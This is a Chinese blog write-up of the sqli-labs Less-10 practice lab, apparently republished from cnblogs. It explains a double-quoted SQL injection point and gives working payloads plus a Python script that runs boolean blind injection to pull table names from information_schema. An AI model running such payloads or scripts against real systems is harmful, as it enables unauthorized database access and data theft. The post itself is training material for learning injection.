首页 > 其他 > 详细

Less-10

时间:2021-01-05 15:44:24      阅读:36      评论:0      收藏:0      [点我收藏+]

技术分享图片

 

 

由于自己的不细心

对注入测试的时候 出现了 错误

$id = ‘"‘.$id.‘"‘;
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

sql 语句接受的参数 拼接

传入的参数

    1. ?id=1

    2. ?id=1‘

      1. 我都两次注入的结果bp抓吧 发现没有然后差别

      2. 于是开始比对

      3. 决定翻看源码

    3. 他将id 拼接 也就是 当 id=1‘ 的时候sql语句是

      1. "SELECT * FROM users WHERE id="1‘" LIMIT 0,1";
        ?
        经过测试 1‘ 1" 在不同的引号包裹下是相同的
        SELECT * FROM users WHERE 1="1‘" LIMIT 0,1;
        SELECT * FROM users WHERE 1=‘1"‘ LIMIT 0,1;
      2. 这就是对于sql注入的判读错误导致的

    4. 正确语句

      1. https://sql.alienwares.top/Less-10/?id=
      2. #r 714
        #e 746
        import requests
        url= 'https://sql.alienwares.top/Less-10/?id=1" and 1=1 %23'
        res=requests.get(url)
        print(len(res.content))
        ?
        #查看正确的和错误的长度
      3. python 脚本

        1. import requests
          import time
          #706
          for i in range(1,100):
             url ="https://sql.alienwares.top/Less-10/?id=1%22 and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i) + ",1) )=‘,‘%23"
             res = requests.get(url)
             time.sleep(2)
             if (len(res.content) == 714):
                 print(",",end="")
                 continue
             for e in range(ord("a"), ord("z") + 1):
                 url="https://sql.alienwares.top/Less-10/?id=1%22 and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i)+",1) )=‘"+chr(e)+"‘%23"
                 print(url)
                 res=requests.get(url)
                 time.sleep(1)
                 if (len(res.content) == 714):
                     print(chr(e), end="")
                     break


Less-10

原文:https://www.cnblogs.com/hackering/p/14235759.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!